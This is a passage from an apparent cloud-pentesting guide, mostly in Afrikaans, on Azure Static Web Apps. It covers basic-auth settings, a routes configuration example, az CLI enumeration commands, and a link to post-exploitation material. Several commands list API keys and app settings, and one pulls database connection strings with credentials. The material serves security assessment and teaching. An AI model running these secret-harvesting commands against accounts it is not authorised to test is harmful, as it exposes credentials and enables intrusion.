Dit is moontlik om te sien **of enige wagwoord gebruik word** en watter omgewings beskerm word met:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "/subscriptions/<subscription-id>/resourceGroups/Resource_Group_1/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2024-04-01"
|
||||
```
|
||||
However, this **won't show the password in clear text**, just something like: `"password": "**********************"`.
|
||||
|
||||
### Routes
|
||||
|
||||
Routes definieer **hoe inkomende HTTP versoeke hanteer word** binne 'n statiese webtoepassing. Geconfigureer in die **`staticwebapp.config.json`** lêer, beheer hulle URL herskrywing, herleidings, toegangbeperkings, en rolgebaseerde outorisering, wat behoorlike hulpbronhantering en sekuriteit verseker.
|
||||
|
||||
Some example:
|
||||
```json
|
||||
{
|
||||
"routes": [
|
||||
{
|
||||
"route": "/",
|
||||
"rewrite": "/index.html"
|
||||
},
|
||||
{
|
||||
"route": "/about",
|
||||
"rewrite": "/about.html"
|
||||
},
|
||||
{
|
||||
"route": "/api/*",
|
||||
"allowedRoles": ["authenticated"]
|
||||
},
|
||||
{
|
||||
"route": "/admin",
|
||||
"redirect": "/login",
|
||||
"statusCode": 302
|
||||
}
|
||||
],
|
||||
"navigationFallback": {
|
||||
"rewrite": "/index.html",
|
||||
"exclude": ["/api/*", "/assets/*"]
|
||||
}
|
||||
}
|
||||
```
|
||||
## Opname
|
||||
```bash
|
||||
# List Static Webapps
|
||||
az staticwebapp list --output table
|
||||
|
||||
# Get Static Webapp details
|
||||
az staticwebapp show --name <name> --resource-group <res-group> --output table
|
||||
|
||||
# Get appsettings
|
||||
az staticwebapp appsettings list --name <name>
|
||||
|
||||
# Get env information
|
||||
az staticwebapp environment list --name <name>
|
||||
az staticwebapp environment functions --name <name>
|
||||
|
||||
# Get API key
|
||||
az staticwebapp secrets list --name <name>
|
||||
|
||||
# Get invited users
|
||||
az staticwebapp users list --name <name>
|
||||
|
||||
# Get database connections
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections?api-version=2021-03-01"
|
||||
|
||||
## Once you have the database connection name ("default" by default) you can get the connection string with the credentials
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections/default/show?api-version=2021-03-01"
|
||||
```
|
||||
## Voorbeelde om Web Apps te genereer
|
||||
|
||||
Jy kan 'n mooi voorbeeld vind om 'n web app te genereer in die volgende skakel: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
|
||||
|
||||
1. Fork die repository https://github.com/staticwebdev/react-basic/generate na jou GitHub-rekening en noem dit `my-first-static-web-app`
|
||||
2. Skep 'n Static Web App in die Azure-portaal deur die Github-toegang te konfigureer en die voorheen geforkte nuwe repository te kies
|
||||
3. Skep dit, en wag 'n paar minute, en kyk na jou nuwe bladsy!
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-static-web-apps-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Verwysings
|
||||
|
||||
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans](https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user